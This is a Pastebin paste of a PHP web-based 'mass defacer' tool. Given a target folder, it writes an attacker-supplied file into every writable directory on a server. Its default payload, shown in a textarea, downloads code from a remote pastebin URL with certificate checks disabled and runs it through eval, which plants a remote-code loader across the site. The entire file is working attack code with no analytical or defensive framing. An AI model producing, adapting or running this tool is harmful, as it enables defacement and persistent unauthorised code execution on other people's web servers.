Advertisement
Guest User

Untitled

a guest
Oct 22nd, 2019
205
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.68 KB | None | 0 0
  1. <?php
  2.  
  3. echo "<title>Folder Mass Defacer by Noza Verda</title>";
  4. echo "<link href='http://fonts.googleapis.com/css?family=Electrolize' rel='stylesheet' type='text/css'>";
  5. echo "<body bgcolor='gray'><font color=black'><font face='Electrolize'>";
  6. echo "<center><form method='POST'>";
  7. echo "<img src=''>
  8. <input type='submit' name='submit2' value='Kill me'><br><a href='https://pastebin.com/raw/CVZFuPJH' target='_blank' >leaf script</a><br><hr color='black'><font color='black'>Target Folder</font><br>
  9. <input type='text' style='color:lime;background-color:#000000' size='60' name='base_dir' value='".getcwd ()."'><br><br>";
  10. echo "<font color='black'>Name of File</font><br><input cols='10' rows='10' type='text' style='color:lime;background-color:#000000' name='andela' value='haeder.php'><br>";
  11. echo "<br>";
  12. echo "<font color=\'black\'>deface type</font><br><select name='type'>
  13. <option value='all'>All Dirs</option>
  14. <option value='one'>One Dir</option>
  15. </select><br>";
  16. echo '<font color=\'black\'>Script Deface</font><br><textarea cols=\'80\' rows=\'15\' style=\'color:lime;background-color:#000000;background-image:url();\' name=\'index\'><?php
  17. function get_contents($url){
  18. $ch = curl_init("$url");
  19. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  20. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  21. curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0(Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  22. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  23. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  24. $result = curl_exec($ch);
  25. return $result;
  26. }
  27.  
  28. $a = get_contents(\'https://pastebin.com/raw/jSgHb1RR\');
  29. eval(\'?>\'.$a);</textarea><br>';
  30. echo "<input type='submit' name='submit' value='Submit'></form></center><br>";
  31. if(isset($_POST['submit2'])){
  32. $file = './m2.php';
  33. if (file_exists($file)) {
  34. unlink($file);
  35. } else {
  36. echo' File not found.';
  37. }
  38. }elseif (isset ($_POST['submit']))
  39. {
  40. echo "<h4>rzlts: </h4>";
  41. echo "<textarea rows='20' cols='90'>";
  42.  
  43. function sabun_massal($dir,$namafile,$isi_script,$type) {
  44. ini_set('display_errors', 0);
  45. if(is_writable($dir)) {
  46. $dira = scandir($dir);
  47. foreach($dira as $dirb) {
  48. $dirc = "$dir/$dirb";
  49. $lokasi = $dirc.'/'.$namafile;
  50. if($dirb === '.') {
  51. file_put_contents($lokasi, $isi_script);
  52. } elseif($dirb === '..') {
  53. file_put_contents($lokasi, $isi_script);
  54. } else {
  55. if(is_dir($dirc)) {
  56. if(is_writable($dirc)) {
  57. file_put_contents($lokasi, $isi_script);
  58. if($type=='all'){
  59. $idx = sabun_massal($dirc,$namafile,$isi_script);
  60. }
  61. }
  62. }
  63. }
  64. }
  65. }
  66. }
  67. if($_POST['type']=='all'){
  68. sabun_massal($_POST['base_dir'],$_POST['andela'],$_POST['index'],'all');
  69. }else{
  70. sabun_massal($_POST['base_dir'],$_POST['andela'],$_POST['index'],'one');
  71. }
  72.  
  73. if (!file_exists ($_POST['base_dir']))
  74. die ($_POST['base_dir']." Not Found !<br>");
  75.  
  76. if (!is_dir ($_POST['base_dir']))
  77. die ($_POST['base_dir']." Is Not A Directory !<br>");
  78.  
  79. @chdir ($_POST['base_dir']) or die ("Cannot Open Directory");
  80.  
  81. $files = @scandir ($_POST['base_dir']) or die ("Fuck -_- <br>");
  82.  
  83. foreach ($files as $file):
  84. if ($file != "." && $file != ".." && @filetype ($file) == "dir")
  85. {
  86. $index = getcwd ()."/".$file."/".$_POST['andela'];
  87. if(file_exists($index)){
  88. echo "http://".$file."/".$_POST['andela']."\n";
  89. }
  90. }
  91. endforeach;
  92. }
  93. echo "</textarea>";
  94.  
  95. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement